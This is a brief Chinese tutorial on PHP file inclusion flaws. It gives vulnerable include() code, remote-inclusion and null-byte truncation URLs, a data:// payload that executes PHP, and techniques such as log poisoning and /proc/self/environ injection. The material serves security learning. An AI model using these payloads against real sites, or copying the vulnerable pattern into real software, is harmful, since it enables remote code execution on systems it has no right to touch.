php 中可以通过include()、require()、include_once()、require_once() 函数包含文件,被包含的文件无论类型都会被执行。 当allow_url_include 配置为on 时,则允许包含远程文件,反之为off 时则只允许包含本地文件。另外一个比较关键的配置为open_basedir,这个选项限定了可以包含的目录。
1、代码示例:
1
2
3
|
<?php
include($_GET['test']);
?>
|
本地文件:192.168.1.8/test.php?test=a.jpg
远程文件:192.168.1.8/test.php?http://www.chuhades.com/index.php
2、截断
可以通过截断来突破一些字符拼接。 代码:
1
2
3
4
|
<?php
$file=$_GET['test'];
include($file.'abcd');
?>
|
这个代码如果你直接192.168.1.8/test.php?test=a.jpg,实际包含的是“a.jpgabcd”,文件不存在,会出错。
因为php 的内核是c 实现的,所以可以通过0 字节进行字符串截断。
192.168.1.8/test.php?test=a.jpg%00
包含远程文件时也可以通过“?”把后面的代码解释为URL 的参数,加以截断。
3、本地文件包含的利用技巧
(1)包含用户上传的文件。 (2)包含data:// 或php://input 等伪协议。 http://192.168.1.8/test.php?test=data:text/plain,<?php phpinfo();?>%00 (3)包含Session 文件。 (4)包含日志文件,比如web server 的 error_log、access_log。 一般步骤:httpd.conf —-> log (5)包含/proc/self/environ 文件。 在user-agent 中注入php 代码。 (6)包含上传的临时文件。
http://www.exploit-db.com/download_pdf/17010
(7)包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等。
4、其他函数 fopen() fread() ……
5、实例
http://www.wooyun.org/bug.php?action=list&subtype=49
http://www.wooyun.org/bug.php?action=list&subtype=15